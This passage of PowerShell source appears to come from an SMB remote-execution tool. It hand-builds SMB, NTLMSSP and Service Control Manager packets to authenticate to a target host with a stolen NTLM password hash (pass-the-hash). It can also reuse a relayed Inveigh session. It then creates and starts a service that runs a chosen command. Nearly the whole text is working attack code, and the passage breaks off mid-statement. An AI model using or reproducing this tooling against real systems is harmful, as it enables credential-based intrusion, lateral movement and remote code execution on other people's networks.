$RPCBind.Add(\"ContextID2\",[Byte[]](0x01,0x00))\r\n        $RPCBind.Add(\"NumTransItems2\",[Byte[]](0x01))\r\n        $RPCBind.Add(\"Unknown3\",[Byte[]](0x00))\r\n        $RPCBind.Add(\"Interface2\",$UUID)\r\n        $RPCBind.Add(\"InterfaceVer2\",$UUIDVersion)\r\n        $RPCBind.Add(\"InterfaceVerMinor2\",[Byte[]](0x00,0x00))\r\n        $RPCBind.Add(\"TransferSyntax2\",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n        $RPCBind.Add(\"TransferSyntaxVer2\",[Byte[]](0x01,0x00,0x00,0x00))\r\n    }\r\n    elseif($NumCtxItems[0] -eq 3)\r\n    {\r\n        $RPCBind.Add(\"ContextID2\",[Byte[]](0x01,0x00))\r\n        $RPCBind.Add(\"NumTransItems2\",[Byte[]](0x01))\r\n        $RPCBind.Add(\"Unknown3\",[Byte[]](0x00))\r\n        $RPCBind.Add(\"Interface2\",$UUID)\r\n        $RPCBind.Add(\"InterfaceVer2\",$UUIDVersion)\r\n        $RPCBind.Add(\"InterfaceVerMinor2\",[Byte[]](0x00,0x00))\r\n        $RPCBind.Add(\"TransferSyntax2\",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36))\r\n        $RPCBind.Add(\"TransferSyntaxVer2\",[Byte[]](0x01,0x00,0x00,0x00))\r\n        $RPCBind.Add(\"ContextID3\",[Byte[]](0x02,0x00))\r\n        $RPCBind.Add(\"NumTransItems3\",[Byte[]](0x01))\r\n        $RPCBind.Add(\"Unknown4\",[Byte[]](0x00))\r\n        $RPCBind.Add(\"Interface3\",$UUID)\r\n        $RPCBind.Add(\"InterfaceVer3\",$UUIDVersion)\r\n        $RPCBind.Add(\"InterfaceVerMinor3\",[Byte[]](0x00,0x00))\r\n        $RPCBind.Add(\"TransferSyntax3\",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n        $RPCBind.Add(\"TransferSyntaxVer3\",[Byte[]](0x01,0x00,0x00,0x00))\r\n    }\r\n\r\n    if($call_ID -eq 3)\r\n    {\r\n        $RPCBind.Add(\"AuthType\",[Byte[]](0x0a))\r\n        $RPCBind.Add(\"AuthLevel\",[Byte[]](0x02))\r\n        $RPCBind.Add(\"AuthPadLength\",[Byte[]](0x00))\r\n        $RPCBind.Add(\"AuthReserved\",[Byte[]](0x00))\r\n        $RPCBind.Add(\"ContextID3\",[Byte[]](0x00,0x00,0x00,0x00))\r\n        $RPCBind.Add(\"Identifier\",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))\r\n        $RPCBind.Add(\"MessageType\",[Byte[]](0x01,0x00,0x00,0x00))\r\n        $RPCBind.Add(\"NegotiateFlags\",[Byte[]](0x97,0x82,0x08,0xe2))\r\n        $RPCBind.Add(\"CallingWorkstationDomain\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n        $RPCBind.Add(\"CallingWorkstationName\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n        $RPCBind.Add(\"OSVersion\",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f))\r\n    }\r\n\r\n    return $RPCBind\r\n}\r\n\r\nfunction New-PacketRPCRequest\r\n{\r\n    param([Byte[]]$Flags,[Int]$ServiceLength,[Int]$AuthLength,[Int]$AuthPadding,[Byte[]]$CallID,[Byte[]]$ContextID,[Byte[]]$Opnum,[Byte[]]$Data)\r\n\r\n    if($AuthLength -gt 0)\r\n    {\r\n        $full_auth_length = $AuthLength + $AuthPadding + 8\r\n    }\r\n\r\n    [Byte[]]$write_length = [System.BitConverter]::GetBytes($ServiceLength + 24 + $full_auth_length + $Data.Length)\r\n    [Byte[]]$frag_length = $write_length[0,1]\r\n    [Byte[]]$alloc_hint = [System.BitConverter]::GetBytes($ServiceLength + $Data.Length)\r\n    [Byte[]]$auth_length = ([System.BitConverter]::GetBytes($AuthLength))[0,1]\r\n\r\n    $RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $RPCRequest.Add(\"Version\",[Byte[]](0x05))\r\n    $RPCRequest.Add(\"VersionMinor\",[Byte[]](0x00))\r\n    $RPCRequest.Add(\"PacketType\",[Byte[]](0x00))\r\n    $RPCRequest.Add(\"PacketFlags\",$Flags)\r\n    $RPCRequest.Add(\"DataRepresentation\",[Byte[]](0x10,0x00,0x00,0x00))\r\n    $RPCRequest.Add(\"FragLength\",$frag_length)\r\n    $RPCRequest.Add(\"AuthLength\",$auth_length)\r\n    $RPCRequest.Add(\"CallID\",$CallID)\r\n    $RPCRequest.Add(\"AllocHint\",$alloc_hint)\r\n    $RPCRequest.Add(\"ContextID\",$ContextID)\r\n    $RPCRequest.Add(\"Opnum\",$Opnum)\r\n\r\n    if($data.Length)\r\n    {\r\n        $RPCRequest.Add(\"Data\",$Data)\r\n    }\r\n\r\n    return $RPCRequest\r\n}\r\n\r\n#SCM\r\n\r\nfunction New-PacketSCMOpenSCManagerW\r\n{\r\n    param ([Byte[]]$packet_service,[Byte[]]$packet_service_length)\r\n\r\n    $packet_referent_ID1 = [String](1..2 | ForEach-Object {\"{0:X2}\" -f (Get-Random -Minimum 1 -Maximum 255)})\r\n    $packet_referent_ID1 = $packet_referent_ID1.Split(\" \") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n    $packet_referent_ID1 += 0x00,0x00\r\n    $packet_referent_ID2 = [String](1..2 | ForEach-Object {\"{0:X2}\" -f (Get-Random -Minimum 1 -Maximum 255)})\r\n    $packet_referent_ID2 = $packet_referent_ID2.Split(\" \") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n    $packet_referent_ID2 += 0x00,0x00\r\n\r\n    $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $packet_SCMOpenSCManagerW.Add(\"MachineName_ReferentID\",$packet_referent_ID1)\r\n    $packet_SCMOpenSCManagerW.Add(\"MachineName_MaxCount\",$packet_service_length)\r\n    $packet_SCMOpenSCManagerW.Add(\"MachineName_Offset\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_SCMOpenSCManagerW.Add(\"MachineName_ActualCount\",$packet_service_length)\r\n    $packet_SCMOpenSCManagerW.Add(\"MachineName\",$packet_service)\r\n    $packet_SCMOpenSCManagerW.Add(\"Database_ReferentID\",$packet_referent_ID2)\r\n    $packet_SCMOpenSCManagerW.Add(\"Database_NameMaxCount\",[Byte[]](0x0f,0x00,0x00,0x00))\r\n    $packet_SCMOpenSCManagerW.Add(\"Database_NameOffset\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $packet_SCMOpenSCManagerW.Add(\"Database_NameActualCount\",[Byte[]](0x0f,0x00,0x00,0x00))\r\n    $packet_SCMOpenSCManagerW.Add(\"Database\",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00))\r\n    $packet_SCMOpenSCManagerW.Add(\"Unknown\",[Byte[]](0xbf,0xbf))\r\n    $packet_SCMOpenSCManagerW.Add(\"AccessMask\",[Byte[]](0x3f,0x00,0x00,0x00))\r\n    \r\n    return $packet_SCMOpenSCManagerW\r\n}\r\n\r\nfunction New-PacketSCMCreateServiceW\r\n{\r\n    param([Byte[]]$ContextHandle,[Byte[]]$Service,[Byte[]]$ServiceLength,[Byte[]]$Command,[Byte[]]$CommandLength)\r\n                \r\n    $referent_ID = [String](1..2 | ForEach-Object {\"{0:X2}\" -f (Get-Random -Minimum 1 -Maximum 255)})\r\n    $referent_ID = $referent_ID.Split(\" \") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n    $referent_ID += 0x00,0x00\r\n\r\n    $SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SCMCreateServiceW.Add(\"ContextHandle\",$ContextHandle)\r\n    $SCMCreateServiceW.Add(\"ServiceName_MaxCount\",$ServiceLength)\r\n    $SCMCreateServiceW.Add(\"ServiceName_Offset\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SCMCreateServiceW.Add(\"ServiceName_ActualCount\",$ServiceLength)\r\n    $SCMCreateServiceW.Add(\"ServiceName\",$Service)\r\n    $SCMCreateServiceW.Add(\"DisplayName_ReferentID\",$referent_ID)\r\n    $SCMCreateServiceW.Add(\"DisplayName_MaxCount\",$ServiceLength)\r\n    $SCMCreateServiceW.Add(\"DisplayName_Offset\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SCMCreateServiceW.Add(\"DisplayName_ActualCount\",$ServiceLength)\r\n    $SCMCreateServiceW.Add(\"DisplayName\",$Service)\r\n    $SCMCreateServiceW.Add(\"AccessMask\",[Byte[]](0xff,0x01,0x0f,0x00))\r\n    $SCMCreateServiceW.Add(\"ServiceType\",[Byte[]](0x10,0x00,0x00,0x00))\r\n    $SCMCreateServiceW.Add(\"ServiceStartType\",[Byte[]](0x03,0x00,0x00,0x00))\r\n    $SCMCreateServiceW.Add(\"ServiceErrorControl\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SCMCreateServiceW.Add(\"BinaryPathName_MaxCount\",$CommandLength)\r\n    $SCMCreateServiceW.Add(\"BinaryPathName_Offset\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SCMCreateServiceW.Add(\"BinaryPathName_ActualCount\",$CommandLength)\r\n    $SCMCreateServiceW.Add(\"BinaryPathName\",$Command)\r\n    $SCMCreateServiceW.Add(\"NULLPointer\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SCMCreateServiceW.Add(\"TagID\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SCMCreateServiceW.Add(\"NULLPointer2\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SCMCreateServiceW.Add(\"DependSize\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SCMCreateServiceW.Add(\"NULLPointer3\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SCMCreateServiceW.Add(\"NULLPointer4\",[Byte[]](0x00,0x00,0x00,0x00))\r\n    $SCMCreateServiceW.Add(\"PasswordSize\",[Byte[]](0x00,0x00,0x00,0x00))\r\n\r\n    return $SCMCreateServiceW\r\n}\r\n\r\nfunction New-PacketSCMStartServiceW\r\n{\r\n    param([Byte[]]$ContextHandle)\r\n\r\n    $SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SCMStartServiceW.Add(\"ContextHandle\",$ContextHandle)\r\n    $SCMStartServiceW.Add(\"Unknown\",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))\r\n\r\n    return $SCMStartServiceW\r\n}\r\n\r\nfunction New-PacketSCMDeleteServiceW\r\n{\r\n    param([Byte[]]$ContextHandle)\r\n\r\n    $SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SCMDeleteServiceW.Add(\"ContextHandle\",$ContextHandle)\r\n\r\n    return $SCMDeleteServiceW\r\n}\r\n\r\nfunction New-PacketSCMCloseServiceHandle\r\n{\r\n    param([Byte[]]$ContextHandle)\r\n\r\n    $SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary\r\n    $SCM_CloseServiceW.Add(\"ContextHandle\",$ContextHandle)\r\n\r\n    return $SCM_CloseServiceW\r\n}\r\n\r\nfunction Get-StatusPending\r\n{\r\n    param ([Byte[]]$Status)\r\n\r\n    if([System.BitConverter]::ToString($Status) -eq '03-01-00-00')\r\n    {\r\n        $status_pending = $true\r\n    }\r\n\r\n    return $status_pending\r\n}\r\n\r\nfunction Get-UInt16DataLength\r\n{\r\n    param ([Int]$Start,[Byte[]]$Data)\r\n\r\n    $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0)\r\n\r\n    return $data_length\r\n}\r\n\r\nif($hash -like \"*:*\")\r\n{\r\n    $hash = $hash.SubString(($hash.IndexOf(\":\") + 1),32)\r\n}\r\n\r\nif($Domain)\r\n{\r\n    $output_username = $Domain + \"\\\" + $Username\r\n}\r\nelse\r\n{\r\n    $output_username = $Username\r\n}\r\n\r\nif($PSBoundParameters.ContainsKey('Session'))\r\n{\r\n    $inveigh_session = $true\r\n}\r\n\r\nif($PSBoundParameters.ContainsKey('Session'))\r\n{\r\n\r\n    if(!$Inveigh)\r\n    {\r\n        Write-Output \"[-] Inveigh Relay session not found\"\r\n        $startup_error = $true\r\n    }\r\n    elseif(!$inveigh.session_socket_table[$session].Connected)\r\n    {\r\n        Write-Output \"[-] Inveigh Relay session not connected\"\r\n        $startup_error = $true\r\n    }\r\n\r\n    $Target = $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString\r\n}\r\n\r\n$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id\r\n$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID))\r\n[Byte[]]$process_ID = $process_ID.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n\r\nif(!$inveigh_session)\r\n{\r\n    $client = New-Object System.Net.Sockets.TCPClient\r\n    $client.Client.ReceiveTimeout = 60000\r\n}\r\n\r\nif(!$startup_error -and !$inveigh_session)\r\n{\r\n\r\n    try\r\n    {\r\n        $client.Connect($Target,\"445\")\r\n    }\r\n    catch\r\n    {\r\n        Write-Output \"[-] $Target did not respond\"\r\n    }\r\n\r\n}\r\n\r\nif($client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected))\r\n{\r\n    $client_receive = New-Object System.Byte[] 1024\r\n\r\n    if(!$inveigh_session)\r\n    {\r\n        $client_stream = $client.GetStream()\r\n\r\n        if($SMB_version -eq 'SMB2.1')\r\n        {\r\n            $stage = 'NegotiateSMB2'\r\n        }\r\n        else\r\n        {\r\n            $stage = 'NegotiateSMB'\r\n        }\r\n\r\n        while($stage -ne 'Exit')\r\n        {\r\n\r\n            try\r\n            {\r\n\r\n                switch ($stage)\r\n                {\r\n\r\n                    'NegotiateSMB'\r\n                    {\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00\r\n                        $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data\r\n\r\n                        try\r\n                        {    \r\n                            $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                            $client_stream.Flush()\r\n                            $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n\r\n                            if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42')\r\n                            {\r\n                                $SMB_version = 'SMB1'\r\n                                $stage = 'NTLMSSPNegotiate'\r\n\r\n                                if([System.BitConverter]::ToString($client_receive[39]) -eq '0f')\r\n                                {\r\n\r\n                                    if($signing_check)\r\n                                    {\r\n                                        Write-Output \"[+] SMB signing is required on $target\"\r\n                                        $stage = 'Exit'\r\n                                    }\r\n                                    else\r\n                                    {\r\n                                        Write-Verbose \"[+] SMB signing is required\"\r\n                                        $SMB_signing = $true\r\n                                        $session_key_length = 0x00,0x00\r\n                                        $negotiate_flags = 0x15,0x82,0x08,0xa0\r\n                                    }\r\n\r\n                                }\r\n                                else\r\n                                {\r\n\r\n                                    if($signing_check)\r\n                                    {\r\n                                        Write-Output \"[+] SMB signing is not required on $target\"\r\n                                        $stage = 'Exit'\r\n                                    }\r\n                                    else\r\n                                    {\r\n                                        $SMB_signing = $false\r\n                                        $session_key_length = 0x00,0x00\r\n                                        $negotiate_flags = 0x05,0x82,0x08,0xa0\r\n                                    }\r\n\r\n                                }\r\n\r\n                            }\r\n                            else\r\n                            {\r\n                                $stage = 'NegotiateSMB2'\r\n\r\n                                if([System.BitConverter]::ToString($client_receive[70]) -eq '03')\r\n                                {\r\n\r\n                                    if($signing_check)\r\n                                    {\r\n                                        Write-Output \"[+] SMB signing is required on $target\"\r\n                                        $stage = 'Exit'\r\n                                    }\r\n                                    else\r\n                                    {\r\n\r\n                                        if($signing_check)\r\n                                        {\r\n                                            Write-Verbose \"[+] SMB signing is required\"\r\n                                        }\r\n\r\n                                        $SMB_signing = $true\r\n                                        $session_key_length = 0x00,0x00\r\n                                        $negotiate_flags = 0x15,0x82,0x08,0xa0\r\n                                    }\r\n\r\n                                }\r\n                                else\r\n                                {\r\n\r\n                                    if($signing_check)\r\n                                    {\r\n                                        Write-Output \"[+] SMB signing is not required on $target\"\r\n                                        $stage = 'Exit'\r\n                                    }\r\n                                    else\r\n                                    {\r\n                                        $SMB_signing = $false\r\n                                        $session_key_length = 0x00,0x00\r\n                                        $negotiate_flags = 0x05,0x80,0x08,0xa0\r\n                                    }\r\n\r\n                                }\r\n\r\n                            }\r\n\r\n                        }\r\n                        catch\r\n                        {\r\n\r\n                            if($_.Exception.Message -like 'Exception calling \"Read\" with \"3\" argument(s): \"Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host.\"')\r\n                            {\r\n                                Write-Output \"[-] SMB1 negotiation failed\"\r\n                                $negoitiation_failed = $true\r\n                                $stage = 'Exit'\r\n                            }\r\n\r\n                        }\r\n\r\n                    }\r\n\r\n                    'NegotiateSMB2'\r\n                    {\r\n\r\n                        if($SMB_version -eq 'SMB2.1')\r\n                        {\r\n                            $message_ID = 0\r\n                        }\r\n                        else\r\n                        {\r\n                            $message_ID = 1\r\n                        }\r\n\r\n                        $tree_ID = 0x00,0x00,0x00,0x00\r\n                        $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\r\n                        $packet_SMB2_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID\r\n                        $packet_SMB2_data = New-PacketSMB2NegotiateProtocolRequest\r\n                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                        $stage = 'NTLMSSPNegotiate'\r\n\r\n                        if([System.BitConverter]::ToString($client_receive[70]) -eq '03')\r\n                        {\r\n\r\n                            if($signing_check)\r\n                            {\r\n                                Write-Output \"[+] SMB signing is required on $target\"\r\n                                $stage = 'Exit'\r\n                            }\r\n                            else\r\n                            {\r\n\r\n                                if($signing_check)\r\n                                {\r\n                                    Write-Verbose \"[+] SMB signing is required\"\r\n                                }\r\n\r\n                                $SMB_signing = $true\r\n                                $session_key_length = 0x00,0x00\r\n                                $negotiate_flags = 0x15,0x82,0x08,0xa0\r\n                            }\r\n\r\n                        }\r\n                        else\r\n                        {\r\n\r\n                            if($signing_check)\r\n                            {\r\n                                Write-Output \"[+] SMB signing is not required on $target\"\r\n                                $stage = 'Exit'\r\n                            }\r\n                            else\r\n                            {\r\n                                $SMB_signing = $false\r\n                                $session_key_length = 0x00,0x00\r\n                                $negotiate_flags = 0x05,0x80,0x08,0xa0\r\n                            }\r\n\r\n                        }\r\n\r\n                    }\r\n\r\n                    'NTLMSSPNegotiate'\r\n                    {\r\n\r\n                        if($SMB_version -eq 'SMB1')\r\n                        {\r\n                            $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            }\r\n\r\n                            $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                            $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate       \r\n                            $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate\r\n                            $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n                            $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data\r\n                        }\r\n                        else\r\n                        {\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID\r\n                            $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags\r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate       \r\n                            $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data\r\n                        }\r\n\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()    \r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                        $stage = 'Exit'\r\n                    }\r\n                    \r\n                }\r\n\r\n            }\r\n            catch\r\n            {\r\n                Write-Output \"[-] $($_.Exception.Message)\"\r\n                $negoitiation_failed = $true\r\n            }\r\n\r\n        }\r\n\r\n        if(!$signing_check -and !$negoitiation_failed)\r\n        {\r\n            $NTLMSSP = [System.BitConverter]::ToString($client_receive)\r\n            $NTLMSSP = $NTLMSSP -replace \"-\",\"\"\r\n            $NTLMSSP_index = $NTLMSSP.IndexOf(\"4E544C4D53535000\")\r\n            $NTLMSSP_bytes_index = $NTLMSSP_index / 2\r\n            $domain_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 12) $client_receive\r\n            $target_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 40) $client_receive\r\n            $session_ID = $client_receive[44..51]\r\n            $NTLM_challenge = $client_receive[($NTLMSSP_bytes_index + 24)..($NTLMSSP_bytes_index + 31)]\r\n            $target_details = $client_receive[($NTLMSSP_bytes_index + 56 + $domain_length)..($NTLMSSP_bytes_index + 55 + $domain_length + $target_length)]\r\n            $target_time_bytes = $target_details[($target_details.Length - 12)..($target_details.Length - 5)]\r\n            $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join \"-\"\r\n            $NTLM_hash_bytes = $NTLM_hash_bytes.Split(\"-\") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n            $auth_hostname = (Get-ChildItem -path env:computername).Value\r\n            $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname)\r\n            $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain)\r\n            $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username)\r\n            $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1]\r\n            $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1]\r\n            $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1]\r\n            $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1]\r\n            $auth_domain_offset = 0x40,0x00,0x00,0x00\r\n            $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64)\r\n            $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64)\r\n            $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64)\r\n            $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88)\r\n            $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5\r\n            $HMAC_MD5.key = $NTLM_hash_bytes\r\n            $username_and_target = $username.ToUpper()\r\n            $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target)\r\n            $username_and_target_bytes += $auth_domain_bytes\r\n            $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)\r\n            $client_challenge = [String](1..8 | ForEach-Object {\"{0:X2}\" -f (Get-Random -Minimum 1 -Maximum 255)})\r\n            $client_challenge_bytes = $client_challenge.Split(\" \") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}\r\n\r\n            $security_blob_bytes = 0x01,0x01,0x00,0x00,\r\n                                    0x00,0x00,0x00,0x00 +\r\n                                    $target_time_bytes +\r\n                                    $client_challenge_bytes +\r\n                                    0x00,0x00,0x00,0x00 +\r\n                                    $target_details +\r\n                                    0x00,0x00,0x00,0x00,\r\n                                    0x00,0x00,0x00,0x00\r\n\r\n            $server_challenge_and_security_blob_bytes = $NTLM_challenge + $security_blob_bytes\r\n            $HMAC_MD5.key = $NTLMv2_hash\r\n            $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes)\r\n\r\n            if($SMB_signing)\r\n            {\r\n                $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response)\r\n                $session_key = $session_base_key\r\n                $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256\r\n                $HMAC_SHA256.key = $session_key\r\n            }\r\n\r\n            $NTLMv2_response = $NTLMv2_response + $security_blob_bytes\r\n            $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1]\r\n            $session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88)\r\n\r\n            $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,\r\n                                    0x03,0x00,0x00,0x00,\r\n                                    0x18,0x00,\r\n                                    0x18,0x00 +\r\n                                    $auth_LM_offset +\r\n                                    $NTLMv2_response_length +\r\n                                    $NTLMv2_response_length +\r\n                                    $auth_NTLM_offset +\r\n                                    $auth_domain_length +\r\n                                    $auth_domain_length +\r\n                                    $auth_domain_offset +\r\n                                    $auth_username_length +\r\n                                    $auth_username_length +\r\n                                    $auth_username_offset +\r\n                                    $auth_hostname_length +\r\n                                    $auth_hostname_length +\r\n                                    $auth_hostname_offset +\r\n                                    $session_key_length +\r\n                                    $session_key_length +\r\n                                    $session_key_offset +\r\n                                    $negotiate_flags +\r\n                                    $auth_domain_bytes +\r\n                                    $auth_username_bytes +\r\n                                    $auth_hostname_bytes +\r\n                                    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\r\n                                    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +\r\n                                    $NTLMv2_response\r\n\r\n            if($SMB_version -eq 'SMB1')\r\n            {\r\n                $SMB_user_ID = $client_receive[32,33]\r\n                $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID\r\n\r\n                if($SMB_signing)\r\n                {\r\n                    $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                }\r\n\r\n                $packet_SMB_header[\"UserID\"] = $SMB_user_ID\r\n                $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response\r\n                $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate      \r\n                $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate\r\n                $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length\r\n                $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n                $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data\r\n            }\r\n            else\r\n            {\r\n                $message_ID++\r\n                $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x01,0x00 $false $message_ID  $process_ID $tree_ID $session_ID\r\n                $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response\r\n                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                